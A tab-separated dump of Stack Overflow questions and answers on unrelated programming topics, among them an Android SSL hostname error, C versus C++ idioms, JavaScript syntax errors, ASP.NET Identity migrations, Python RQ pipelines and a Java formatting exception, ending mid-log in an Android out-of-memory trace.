25356739	0	javax.net.ssl.SSLException: hostname in certificate didn't match android <p>I am creating an android app in which i am sending data to the web service but i am getting error of javax.net.ssl.SSLException: hostname in certificate didn't match android here is my code</p> <pre><code> AsyncHttpClient clien= new AsyncHttpClient(); Log.i("URL", String.valueOf(base_url+"Race.svc/json/Race/Scanners/Add/"+series_event_raceid+"/"+qrCode)); clien.put(base_url+"Race.svc/json/Race/Scanners/Add/"+series_event_raceid+"/"+qrCode, new AsyncHttpResponseHandler() {} </code></pre> <p>where series_event_raceid=103 and qrcode=R12g***</p> <p>anyone please help me</p> <p>here is my logcat</p> <pre><code>08-18 10:06:24.272: W/System.err(5297): javax.net.ssl.SSLException: hostname in certificate didn't match: &lt;development.racerunner.com&gt; != &lt;racerunner.com&gt; OR &lt;racerunner.com&gt; 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.conn.ssl.AbstractVerifier.verify(AbstractVerifier.java:185) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.conn.ssl.BrowserCompatHostnameVerifier.verify(BrowserCompatHostnameVerifier.java:54) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.conn.ssl.AbstractVerifier.verify(AbstractVerifier.java:114) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.conn.ssl.AbstractVerifier.verify(AbstractVerifier.java:95) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.conn.ssl.SSLSocketFactory.createSocket(SSLSocketFactory.java:388) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.conn.DefaultClientConnectionOperator.openConnection(DefaultClientConnectionOperator.java:165) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.conn.AbstractPoolEntry.open(AbstractPoolEntry.java:164) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.conn.AbstractPooledConnAdapter.open(AbstractPooledConnAdapter.java:119) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:360) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:555) 08-18 10:06:24.272: W/System.err(5297): at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:487) 08-18 10:06:24.272: W/System.err(5297): at com.loopj.android.http.AsyncHttpRequest.makeRequest(AsyncHttpRequest.java:98) 08-18 10:06:24.272: W/System.err(5297): at com.loopj.android.http.AsyncHttpRequest.makeRequestWithRetries(AsyncHttpRequest.java:112) 08-18 10:06:24.272: W/System.err(5297): at com.loopj.android.http.AsyncHttpRequest.run(AsyncHttpRequest.java:68) 08-18 10:06:24.272: W/System.err(5297): at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:422) 08-18 10:06:24.272: W/System.err(5297): at java.util.concurrent.FutureTask.run(FutureTask.java:237) 08-18 10:06:24.272: W/System.err(5297): at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112) 08-18 10:06:24.272: W/System.err(5297): at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587) 08-18 10:06:24.272: W/System.err(5297): at java.lang.Thread.run(Thread.java:811) 08-18 10:06:24.272: I/Fail camera arg1(5297): null 08-18 10:06:24.272: I/Fail camera arg2(5297): null 08-18 10:06:24.272: I/Fail camera arg3(5297): javax.net.ssl.SSLException: hostname in certificate didn't match: &lt;development.racerunner.com&gt; != &lt;racerunner.com&gt; OR &lt;racerunner.com&gt; </code></pre>
6273799	0	RequestScope() and Kernel.Get<> in Ninject <p>If I define a binding in ninject with <code>ReqeustScope()</code>, and then call <code>Kernel.Get&lt;T&gt;</code> on that type outside of a request what will the scope of the resolved object be?</p>
13599332	0	 <p>try this:</p> <pre><code>DECLARE @YourTable table (RowID int, Layout varchar(200)) INSERT INTO @YourTable select ROW_NUMBER() over (order by (select 0)) as rn,replace(RIGHT(data,len(data)-CHARINDEX('_',data,1)),'_',',') from temptab ;WITH SplitSting AS ( SELECT RowID,LEFT(Layout,CHARINDEX(',',Layout)-1) AS Part ,RIGHT(Layout,LEN(Layout)-CHARINDEX(',',Layout)) AS Remainder FROM @YourTable WHERE Layout IS NOT NULL AND CHARINDEX(',',Layout)&gt;0 UNION ALL SELECT RowID,LEFT(Remainder,CHARINDEX(',',Remainder)-1) ,RIGHT(Remainder,LEN(Remainder)-CHARINDEX(',',Remainder)) FROM SplitSting WHERE Remainder IS NOT NULL AND CHARINDEX(',',Remainder)&gt;0 UNION ALL SELECT RowID,Remainder,null FROM SplitSting WHERE Remainder IS NOT NULL AND CHARINDEX(',',Remainder)=0 ) SELECT distinct cast(part as int) FROM SplitSting where len(part) &gt; 0 order by cast(part as int) </code></pre>
13552733	0	 <p>The database files will be created in the <code>App_Data</code> folder. This will happen once you start writing something to it, not when the application is run. For example if you register a new user the database file will be created.</p>
1917084	0	 <p>There's a lot here already, so maybe this is just a minor addition but here's what I find to be the biggest differences.</p> <p>Library:</p> <ul> <li>I put this first, because this in my opinion this is the biggest difference in practice. The C standard library is very(!) sparse. It offers a bare minimum of services. For everything else you have to roll your own or find a library to use (and many people do). You have file I/O and some very basic string functions and math. For everything else you have to roll your own or find a library to use. I find I miss extended containers (especially maps) heavily when moving from C++ to C, but there are a lot of other ones.</li> </ul> <p>Idioms:</p> <ul> <li>Both languages have manual memory (resource) management, but C++ gives you some tools to hide the need. In C you will find yourself tracking resources by hand much more often, and you have to get used to that. Particular examples are arrays and strings (C++ <code>vector</code> and <code>string</code> save you a lot of work), smart pointers (you can't really do "smart pointers" as such in C. You <em>can</em> do reference counting, but you have to up and down the reference counts yourself, which is very error prone -- the reason smart pointers were added to C++ in the first place), and the lack of RAII generally which you will notice everywhere if you are used to the modern style of C++ programming. <ul> <li>You have to be explicit about construction and destruction. You can argue about the merits of flaws of this, but there's a lot more explicit code as a result.</li> </ul></li> <li>Error handling. C++ exceptions can be tricky to get right so not everyone uses them, but if you do use them you will find you have to pay a lot of attention to how you do error notification. Needing to check for return values on all important calls (some would argue <em>all</em> calls) takes a lot of discipline and a lot of C code out there doesn't do it.</li> <li>Strings (and arrays in general) don't carry their sizes around. You have to pass a lot of extra parameters in C to deal with this.</li> <li>Without namespaces you have to manage your global namespace carefully. <ul> <li>There's no explicit tying of functions to types as there is with <code>class</code> in C++. You have to maintain a convention of prefixing everything you want associated with a type.</li> </ul></li> <li>You will see a lot more macros. Macros are used in C in many places where C++ has language features to do the same, especially symbolic constants (C has <code>enum</code> but lots of older code uses <code>#define</code> instead), and for generics (where C++ uses templates).</li> </ul> <p>Advice:</p> <ul> <li>Consider finding an extended library for general use. Take a look at <a href="http://library.gnome.org/devel/glib/stable/" rel="nofollow noreferrer">GLib</a> or <a href="http://apr.apache.org/" rel="nofollow noreferrer">APR</a>. <ul> <li>Even if you don't want a full library consider finding a map / dictionary / hashtable for general use. Also consider bundling up a bare bones "string" type that contains a size.</li> </ul></li> <li>Get used to putting module or "class" prefixes on all public names. This is a little tedious but it will save you a lot of headaches.</li> <li><p>Make heavy use of forward declaration to make types opaque. Where in C++ you might have private data in a header and rely on <code>private</code> is preventing access, in C you want to push implementation details into the source files as much as possible. (You actually want to do this in C++ too in my opinion, but C makes it easier, so more people do it.)</p> <p>C++ reveals the implementation in the header, even though it technically hides it from access outside the class.</p> <pre><code>// C.hh class C { public: void method1(); int method2(); private: int value1; char * value2; }; </code></pre> <p>C pushes the 'class' definition into the source file. The header is all forward declarations.</p> <pre><code>// C.h typedef struct C C; // forward declaration void c_method1(C *); int c_method2(C *); // C.c struct C { int value1; char * value2; }; </code></pre></li> </ul>
16610374	0	Error in an example from book - "Unexpected token {" <p>I was reading a book on JavaScript (recently started to learn). While running one of the examples from a book, I get an error. I'm using Chromium browser on Ubuntu, 14.0.835.202.</p> <p>Since I'm a newbie, I can't understand why there is an error. Thanks in advance.</p> <pre><code>Function.prototype.method = function (name, fn) { this.prototype[name] = fn; return this; }; var Person { this.name = name; this.age = age; }; Person. method ("getName", function { // error here - "Uncaught SyntaxError: Unexpected token {" return this.name; }). method ("getAge", function { return this.age; }); var alice = new Person ("Alice", 93); var bill = new Person ("Bill", 30); Person. method ("getGreeting", function { return "Hi" + this.getName() + "!"; }); alert (alice.getGreeting()); </code></pre> <p>EDIT:</p> <p>The solution gave me another question that I wanted to ask. For object declaration:</p> <pre><code>var Object = function (...) // line 1 { // code here }; </code></pre> <p>if the number of variables is so big that I don't want to list them in line 1, what can I do?</p>
18963437	0	 <p>integers are not passed by reference in JavaScript meaning there is no way to change the interval by changing your variable.</p> <p>Simply cancel the setInterval and restart it again with the new time.</p> <p>Example can be found here: <a href="http://jsfiddle.net/Elak/yUxmw/2/" rel="nofollow">http://jsfiddle.net/Elak/yUxmw/2/</a></p> <pre><code>var Interval; (function () { var createInterval = function (callback, time) { return setInterval(callback, time); } Interval = function (callback, time) { this.callback = callback; this.interval = createInterval(callback, time); }; Interval.prototype.updateTimer = function (time) { clearInterval(this.interval); createInterval(this.callback, time); }; })(); $(document).ready(function () { var inter = new Interval(function () { $("#out").append("&lt;li&gt;" + new Date().toString() + "&lt;/li&gt;"); }, 1000); setTimeout(function () { inter.updateTimer(500); }, 2000); }); </code></pre>
22179175	0	C# How can I make an extension accept IEnumerable instead of array for params <p>Having this extension </p> <pre><code> public static bool In&lt;T&gt;(this T t, params T[] values) { return values.Contains(t); } </code></pre> <p>wanted it to accept IEnumerable and casting to array if needed inside the extension, but I don't know how to use the params keyword for that.</p> <p>Tryed :</p> <pre><code> public static bool In&lt;T&gt;(this T t, params IEnumerable&lt;T&gt; values) { return values.Contains(t); } </code></pre> <p>but this generates a compile-time error : <strong>The parameter array must be a single dimensional array</strong></p> <p>Is there any way to make the extension method support IEnumerable params ? if not, why not ?</p>
29047126	0	 <p>The callback in findOne happens in the future, it is async. You must render inside said callback for the data to exist.</p> <pre><code> User.findOne({'username' : following_user }, function(err,user) { following_users_details.push({ username: user.username, profilepic : user.photo, userbio : user.bio }); res.render('users/userAccount',{user:req.user, following_users_details:following_users_details }); }); } </code></pre>
17329320	0	 <p><code>&lt;header&gt;</code> is also good for the page header or for a <code>&lt;section&gt;</code>'s header not just for articles. You can use both your examples without a problem. I recommend you use <code>&lt;header&gt;</code> for easier readability.</p>
35135336	0	 <p>try to re-size function all the script also put in to the </p> <p>$(window).resize(function(){</p> <p>}) it's call on </p>
40435037	0	 <p>Replace that line with this and it would definitely work.</p> <pre><code>'com.android.support:design:25.0.0' </code></pre>
1681257	0	 <p>I always add the following init-method to my bootstrap to pass the configuration into the registry.</p> <pre><code>protected function _initConfig() { $config = new Zend_Config($this-&gt;getOptions(), true); Zend_Registry::set('config', $config); return $config; } </code></pre> <p>This will shorten your code a little bit:</p> <pre><code>class My_UserController extends Zend_Controller_Action { public function indexAction() { $manager = new My_Model_Manager(Zend_Registry::get('config')-&gt;my); $this-&gt;view-&gt;items = $manager-&gt;getItems(); } } </code></pre>
28561779	0	 <p>What you are lookin for is Typehead. It is very easy to implement in Angular using Bootstrap UI.</p> <p><a href="http://angular-ui.github.io/bootstrap/#/typeahead" rel="nofollow">Typehead in Bootstrap UI</a></p>
13010430	0	 <p>The textarea should already be hidden since it will only be used as a fallback. The editor itself is contained in an iframe with class <code>wysihtml5-sandbox</code>. So this should toggle the editor</p> <pre><code>$(".wysihtml5-sandbox").hide() </code></pre>
32152331	0	How to change the database that ASP.NET Identity use for creating its necessary tables? <p>I have 2 projects in my solution</p> <ol> <li>Web UI</li> <li>Web API</li> </ol> <p>I am using Web API project for authentication (ASsp.Net Identity Framework). Below is the web.config setting for the connection string in Web.API project</p> <pre><code>&lt;connectionStrings&gt; &lt;add name="AuthContext" connectionString="Data Source=./SQLEXPRESS;Initial Catalog=TestDB;Integrated Security=SSPI;" providerName="System.Data.SqlClient" /&gt; &lt;/connectionStrings&gt; </code></pre> <p>My DbContext Class</p> <pre><code>public class AuthContext : IdentityDbContext&lt;IdentityUser&gt; { public AuthContext() : base("AuthContext",throwIfV1Schema:false) { } public static AuthContext Create() { return new AuthContext(); } public DbSet&lt;Client&gt; Clients { get; set; } public DbSet&lt;RefreshToken&gt; RefreshTokens { get; set; } } </code></pre> <p>TestDB is an existing database with few tables. This is what I did in Web API project in the Package Manager Console</p> <ol> <li>Enable-Migrations</li> <li>Add-Migration InitialCreate</li> <li>Update-Database</li> </ol> <p>It always create a new database called AuthContext instead of adding the necessary tables in TestDB.</p> <p>I set the Web UI project as the Startup Project in my solution. How do I get update-database to create tables in TestDb instead of creating of new database.</p> <p>-Alan-</p>
15065320	0	 <p>Well, the fibonacci series grows (approximately) exponentially with a ratio of 1.618 (the golden ratio).</p> <p>If you take the log base 1.618 of <code>Integer.MAX_VALUE</code> it will therefore tell you approximately how many iterations you can go before overflowing....</p> <p>Alternatively, you can determine empirically when it overflows just by doing the calculations....</p>
16811720	0	 <p>What you need is to detect when an element is added to a page, specifically <code>&lt;video&gt;</code> element. There is a DOM event for that, but it's been deprecated - see this <a href="http://stackoverflow.com/questions/7434685/event-when-element-added-to-page">answer</a>. The answer may be helpful to you, the accepted answer suggests <code>setInterval()</code>.</p> <p>Try this:</p> <pre><code>function checkVideo() { var videoTags = document.getElementsByTagName("video"); if (videoTags.length &gt; 0) { // do something with video } setTimeout( checkDOMChange, 1000); // schedule the next check </code></pre> <p>}</p> <p>Then just run checkVideo() when document is loaded (e.g. <code>$(document).ready(checkVideo)</code> with jQuery).</p> <p>jQuery also has a function <a href="http://api.jquery.com/live/" rel="nofollow">live()</a> which should solve your problem, but it is deprecated now.</p>
36608615	0	 <p>In case of conflict you should select the higher number of the two. But whatever you choose it has no impact on actual migrations. </p> <p>If you choose the lower number then next time you run <code>rake db:migrate</code> it will change this number (to the higher one) and you will have a change in your <code>schema.rb</code> and no migration. It's not a problem - only your commit will be a bit strange.</p> <p>Rails rake task runs all migrations that it finds and that don't have a value in <code>schema_migrations</code> table. And then it takes the highest migration timestamp and puts this timestamp into the <code>schema.rb</code>. The whole migration idea is not based on some "most recent timestamp" (schema version) but it's based on the content of <code>schema_migrations</code> table that contains all migration timestamps that it has already run. So through this table it guarantees that no migration is skipped.</p>
24295090	1	Python RQ: pattern for callback <p>I have now a big number of documents to process and am using Python RQ to parallelize the task.</p> <p>I would like a pipeline of work to be done as different operations is performed on each document. For example: <code>A</code> -> <code>B</code> -> <code>C</code> means pass the document to function <code>A</code>, after <code>A</code> is done, proceed to <code>B</code> and last <code>C</code>.</p> <p>However, Python RQ does not seem to support the pipeline stuff very nicely.</p> <p>Here is a simple but somewhat dirty of doing this. In one word, each function along the pipeline call its next function in a nesting way.</p> <p>For example, for a pipeline <code>A</code>-><code>B</code>-><code>C</code>.</p> <p>At the top level, some code is written like this:</p> <p><code>q.enqueue(A, the_doc)</code></p> <p>where q is the <code>Queue</code> instance and in function <code>A</code> there are code like:</p> <p><code>q.enqueue(B, the_doc)</code></p> <p>And in <code>B</code>, there are something like this:</p> <p><code>q.enqueue(C, the_doc)</code></p> <p>Is there any other way more elegant than this? For example some code in <strong>ONE</strong> function:</p> <p><code>q.enqueue(A, the_doc) q.enqueue(B, the_doc, after = A) q.enqueue(C, the_doc, after= B) </code></p> <p><a href="http://python-rq.org/docs/" rel="nofollow">depends_on</a> parameter is the closest one to my requirement, however, running something like:</p> <p><code> A_job = q.enqueue(A, the_doc) q.enqueue(B, depends_on=A_job )</code></p> <p>won't work. As <code>q.enqueue(B, depends_on=A_job )</code> is executed immediately after <code>A_job = q.enqueue(A, the_doc)</code> is executed. By the time B is enqueued, the result from A might not be ready as it takes time to process.</p> <p>PS:</p> <p>If Python RQ is not really good at this, what else tool in Python can I use to achieve the same purpose:</p> <ol> <li>round-robin parallelization</li> <li>pipeline processing support</li> </ol>
5998952	0	Converting a jQuery object to a plain object <p>Does jQuery provide a way to convert a selected element that is a jQuery object to a plain object, for example if you wanted to just perform basic javascript actions on the object without using jQuery after the element has bee initially selected?</p> <p>Thanks in advance.</p>
11240042	0	 <p>This is known as function calling..</p> <p>like you call function in other programing language like in java or c#:</p> <pre><code>ob.method() // where ob is object and method is the function name.. </code></pre> <p>similarly if you want to call a function in objective c the syntax is calling function is like this : </p> <pre><code> [ob method]; </code></pre>
20924306	0	 <p>You're missing the block for while. – Ashwin Mukhija Dec 30 '13 at 19:45 </p> <p>that fixed it. </p>
34940569	0	 <p>You can collect your list items and concat them using <a href="http://php.net/manual/en/function.implode.php" rel="nofollow">implode</a> method:</p> <pre><code>&lt;?php if (!empty($topmenu) &amp;&amp; !empty($menulist)) { $listItems = array(); foreach ($topmenu as $mainparent) { $arry = getmenuvalue($mainparent-&gt;id, $menulist, MAINURL); if (isset($mainparent-&gt;children) &amp;&amp; !empty($mainparent-&gt;children)) { $listItems[] = '&lt;li class="dropdown"&gt; &lt;a href="' . $arry['url'] . '" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"&gt;' . $arry['name'] . '&lt;span class="caret"&gt; &lt;/span&gt;&lt;/a&gt;&lt;/li&gt;'; } else { $listItems[] = '&lt;li&gt;&lt;a href="' . $arry['url'] . '"&gt;' . $arry['name'] . '&lt;/a&gt;&lt;/li&gt;'; } } echo implode('&lt;li&gt; | &lt;/li&gt;', $listItems); } ?&gt; </code></pre>
24368556	0	 <p>All of your dropwizard dependencies are using <code>${project.version}</code> instead of <code>${dropwizard.version}</code>. Should look like this:</p> <pre class="lang-xml prettyprint-override"><code>&lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-core&lt;/artifactId&gt; &lt;version&gt;${dropwizard.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-auth&lt;/artifactId&gt; &lt;version&gt;${dropwizard.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-assets&lt;/artifactId&gt; &lt;version&gt;${project.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-spdy&lt;/artifactId&gt; &lt;version&gt;${dropwizard.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-hibernate&lt;/artifactId&gt; &lt;version&gt;${dropwizard.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;io.dropwizard&lt;/groupId&gt; &lt;artifactId&gt;dropwizard-migrations&lt;/artifactId&gt; &lt;version&gt;${dropwizard.version}&lt;/version&gt; &lt;/dependency&gt; </code></pre>
1029609	0	A WPF App fails when coming out of hibernate mode <p>I have a WPF application that fails to come out of the timed sleep, followed by hibernate. The render thread seems to be failing during initialization. I tried removing hardware acceleration to check that it's not graphics card related, but that did not help.</p> <p>Here is an exception along with the stacktrace:</p> <p>ERROR An unspecified error occurred on the render thread. Stack trace: at System.Windows.Media.MediaContext.NotifyPartitionIsZombie(Int32 failureCode) at System.Windows.Media.MediaContext.NotifyChannelMessage() at System.Windows.Interop.HwndTarget.HandleMessage(Int32 msg, IntPtr wparam, IntPtr lparam) at System.Windows.Interop.HwndSource.HwndTargetFilterMessage(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean&amp; handled) at MS.Win32.HwndWrapper.WndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean&amp; handled) at MS.Win32.HwndSubclass.DispatcherCallbackOperation(Object o) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Boolean isSingleParameter) at System.Windows.Threading.ExceptionWrapper.TryCatchWhen(Object source, Delegate callback, Object args, Boolean isSingleParameter, Delegate catchHandler) at System.Windows.Threading.Dispatcher.WrappedInvoke(Delegate callback, Object args, Boolean isSingleParameter, Delegate catchHandler) at System.Windows.Threading.Dispatcher.InvokeImpl(DispatcherPriority priority, TimeSpan timeout, Delegate method, Object args, Boolean isSingleParameter) at System.Windows.Threading.Dispatcher.Invoke(DispatcherPriority priority, Delegate method, Object arg) at MS.Win32.HwndSubclass.SubclassWndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam) at MS.Win32.UnsafeNativeMethods.DispatchMessage(MSG&amp; msg) at System.Windows.Threading.Dispatcher.PushFrameImpl(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.PushFrame(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.Run() at System.Windows.Application.RunDispatcher(Object ignore) at System.Windows.Application.RunInternal(Window window) at System.Windows.Application.Run(Window window) at System.Windows.Application.Run()</p> <p>I googled around, and people suggest that it might have something to do with AllowsTransparency property being set to true; however, i did not see this issue when running a simple test app.</p> <p>Any ideas about the exception and possible causes/solutions are highly appreciated.</p>
19495427	0	SQL SELECT everything after a certain character <p>I need to extract everything after the last '=' (<a href="http://www.domain.com?query=blablabla">http://www.domain.com?query=blablabla</a> - > blablabla) but this query returns the entire strings. Where did I go wrong in here:</p> <pre><code>SELECT RIGHT(supplier_reference, CHAR_LENGTH(supplier_reference) - SUBSTRING('=', supplier_reference)) FROM ps_product </code></pre>
20899657	0	 <p><code>R.layout.da_item</code> file only contains <code>R.id.ingredientbox</code> so your <code>covertView</code> and <code>holder.name</code> are referring to the same object.</p> <p>Now when you call </p> <pre><code>convertView.setTag(holder); </code></pre> <p>holder set to tag of convertView object and then you call</p> <pre><code>holder.name.setTag(state); </code></pre> <p>which overrides the tag as both objects are same.</p> <p>Try to remove 2nd call and check.</p> <p><strong>EDIT</strong> Change your holder class to:</p> <pre><code> private class ViewHolder { Items state; CheckBox name; } </code></pre> <p>don't write <code>holder.name.setTag(state);</code>. Instead do following:</p> <pre><code>holder.state=state; </code></pre> <p>Now when you want items just say:</p> <pre><code>Items _state = ((ViewHolder) cb.getTag()).state; </code></pre>
39445025	0	SonarQube Plugin for Jenkins does not find SonarQube Scanner executable <p>I am trying to run the SonarQube Scanner within Jenkins as a post-build step. However, I keep getting the error message below:</p> <pre><code>------------------------------------------------------------------------ SONAR ANALYSIS FAILED ------------------------------------------------------------------------ FATAL: SonarQube Scanner executable was not found for SonarQube Build step 'Execute SonarQube Scanner' marked build as failure </code></pre> <p>From <a href="http://stackoverflow.com/questions/34951252/why-i-am-getting-sonarqube-runner-executable-was-not-found-for-sonarquberunner-5">similar questions</a> on stackoverflow I read that one should choose "Install automatically" for the SonarQube Scanner, which I have done.</p> <p>My configurations is as follows: </p> <ul> <li>SonarQube 6.0 </li> <li>Jenkins 1.609.3 </li> <li>SonarQube Plugin 2.4.4</li> </ul> <h2>SonarQube Servers</h2> <p><a href="https://postimg.org/image/h79rt6ted/" rel="nofollow"><img src="https://s10.postimg.org/ed6mfqr89/sonarqubeservers.png" alt="sonarqubeservers.png"></a></p> <h2>SonarQube Scanner</h2> <p><a href="https://postimg.org/image/5wngqd23b/" rel="nofollow"><img src="https://s15.postimg.org/69euwjkd7/sonarqubescanner.png" alt="sonarqubescanner.png"></a></p> <h2>Build-step</h2> <p><a href="https://postimg.org/image/y3f4xzqh9/" rel="nofollow"><img src="https://s14.postimg.org/dw1p5ot01/buildstep.png" alt="buildstep.png"></a></p>
9293152	0	 <p>This might work for you:</p> <pre><code>sed 's/[^/]*,-,\.txt$//p;d' file </code></pre>
20895289	0	 <p>There's a few bits here and there that are a little more advanced than you need to delve into right now but the most of it is basic HTML.</p> <p>You can change the templates but unfortunately the post ID has to stay ..it's built in.</p> <p>You can find more info here; <a href="http://webapps.stackexchange.com/questions/28049/changing-messy-tumblr-url">http://webapps.stackexchange.com/questions/28049/changing-messy-tumblr-url</a></p> <p>Good luck with the template.</p>
39658315	0	 <pre><code>abstract class Robot { private WorldOfRobots world; public void setWorld(WorldOfRobots world) { this.world=world; } // content } public class Telebot extends Robot { public Telebot(String newName, String newDirection) { super(newName, newDirection); } public void doSomething() { world.doSomethingElse(); } } public class WorldOfRobots { // List of robots private ArrayList&lt;Robot&gt; robots; public WorldOfRobots() { robots = new ArrayList&lt;Robot&gt;(); } public void addRobot(Robot robot) { robots.add(robot); robot.setWorld(this); } } </code></pre> <p>Storing a reference for the <code>WorldOfRobots</code> in the <code>Robot</code> class is reasonable in this case. If you want a robot to belong to multiple <code>WorldOfRobots</code> then change the world varible to List.</p>
3019650	0	 <p>There is a <a href="http://rsm.codeplex.com/" rel="nofollow noreferrer">R# settings manager</a> plugin for resharper that stores all of this I think, including stylecop settings</p>
37936241	0	 <p>We can use <code>data.table</code>. Convert the 'data.frame' to 'data.table' (<code>setDT(data)</code>), grouped by 'site', <code>if</code> the length of the unique 'method' is greater than 1, then get the Subset of Data.table.</p> <pre><code>library(data.table) setDT(data)[, if(uniqueN(method)&gt;1) .SD , by = site] </code></pre> <hr> <p>Or with <code>dplyr</code>, we can do it.</p> <pre><code>library(dplyr) data %&gt;% group_by(site) %&gt;% filter(n_distinct(method)&gt;1) </code></pre> <hr> <p>A possible <code>base R</code> option would be</p> <pre><code>data[ with(data, ave(method, site, FUN = function(x) length(unique(x))&gt;1)),] </code></pre>
22548845	0	Calculate sub-paths between two vertices from minimum spanning trees <p>I have a minimum spanning tree (MST) from a given graph. I am trying to compute the unique sub-path (which should be part of the MST, not the graph) for any two vertices but I am having trouble finding an efficient way of doing it. </p> <p>So far, I have used Kruskal's algorithm (using Disjoint Data structure) to calculate the MST (for example: 10 vertices A to J).. But now I want to calculate the sub-path between C to E.. or J to C (assuming the graph is undirected). </p> <p>Any suggestions would be appreciated. </p>
16640471	0	String Formatting <p>I am currently trying to construct a program that prints Pascal's Triangles at different heights through calling a method to construct the triangle with an int parameter for height of the triangle. When trying to run my program, the first Pascal's triangle prints bu then I get an Exception error, reading this:</p> <pre><code>java.util.FormatFlagsConversionMismatchException: Conversion = s, Flags = 0 at java.util.Formatter$FormatSpecifier.failMismatch(Unknown Source) at java.util.Formatter$FormatSpecifier.checkBadFlags(Unknown Source) at java.util.Formatter$FormatSpecifier.checkGeneral(Unknown Source) at java.util.Formatter$FormatSpecifier.&lt;init&gt;(Unknown Source) at java.util.Formatter.parse(Unknown Source) at java.util.Formatter.format(Unknown Source) at java.io.PrintStream.format(Unknown Source) at PascalsTriangle.drawTriangle(PascalsTriangle.java:19) at PascalsTriangle.main(PascalsTriangle.java:39) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at edu.rice.cs.drjava.model.compiler.JavacCompiler.runCommand(JavacCompiler.java:272) </code></pre> <blockquote> <p></p> </blockquote> <p>Through debugging, I noticed that there is an issue with how I formatted the String output in line 19. I am fairly new to Java programming and I have tried to work through different formatting issues in my code, but I have been stumped on how to make this work. Any suggestions on how I can prevent this exception error from happening?</p> <p>Here is the code to my program:</p> <pre><code>public class PascalsTriangle { private int height; public void drawTriangle(int height) { System.out.println("A Pascal Triangle with height " + height); for(int i = 0; i &lt;= height; i++) { int number = 1; System.out.format("%" + ((height-i) * 2) + "s", " "); for(int j = 0; j &lt;= i; j++) { System.out.format("%5d", number); number = number * (i - j) / (j + 1); } System.out.println(); } } public static void main(String[] args) { PascalsTriangle pascal = new PascalsTriangle(); pascal.drawTriangle(4); pascal.drawTriangle(10); pascal.drawTriangle(7); pascal.drawTriangle(2); } } </code></pre>
9904728	0	Backbone: special encoding during save <p>Note: I know this is <strong><em>wrong</em></strong>, but this is a technical requirement by the server team. </p> <p>I have a User object that extends Backbone.Model. It receives it's data using normal, mostly good, JSON from the server. </p> <p>HOWEVER there is a requirement when saving THE SAME INFORMATION to encode emails with url encoding. </p> <p>When receiving the data it is possible to pre-process it with the Backbone.Model.parse method, is there an equivalent way to pre-process the data before sending it? (without overriding the sync method)</p>
17338065	0	Android BitmapFactory.decodeFile skia error <p>I'm designing an activity that shows some images. The code below gets image files and places them into the screen.</p> <pre><code> for(int i=0;i&lt;photoPaths.size();i++){ BitmapFactory.Options options = new BitmapFactory.Options(); options.inSampleSize = 4; //Bitmap bm= BitmapFactory.decodeFile(new File(photoPaths.get(i)).getAbsolutePath()); Bitmap bm= BitmapFactory.decodeFile(new File(photoPaths.get(i)).getAbsolutePath()); int imageH=bm.getHeight(); int imageW=bm.getWidth(); ImageView image=new ImageView(this); image.setImageBitmap(bm); int padding=10; image.setPadding(0, padding, padding, 0); } </code></pre> <p>The code is running well while placing 5 photos. After them when 6th is placing code fails.</p> <p>Here is the LogCat messages:</p> <pre><code> 06-27 11:13:13.202: D/skia(17373): --- decoder-&gt;decode returned false 06-27 11:13:13.202: D/AndroidRuntime(17373): Shutting down VM 06-27 11:13:13.202: W/dalvikvm(17373): threadid=1: thread exiting with uncaught exception (group=0x4142c2a0) 06-27 11:13:13.202: E/AndroidRuntime(17373): FATAL EXCEPTION: main 06-27 11:13:13.202: E/AndroidRuntime(17373): java.lang.OutOfMemoryError 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.graphics.BitmapFactory.nativeDecodeStream(Native Method) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:652) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.graphics.BitmapFactory.decodeFile(BitmapFactory.java:391) 06-27 11:13:13.202: E/AndroidRuntime(17373): at android.graphics.BitmapFactory.decodeFile(BitmapFactory.java:451) 06-27 11:13:13.202: E/AndroidRuntime(17373): at 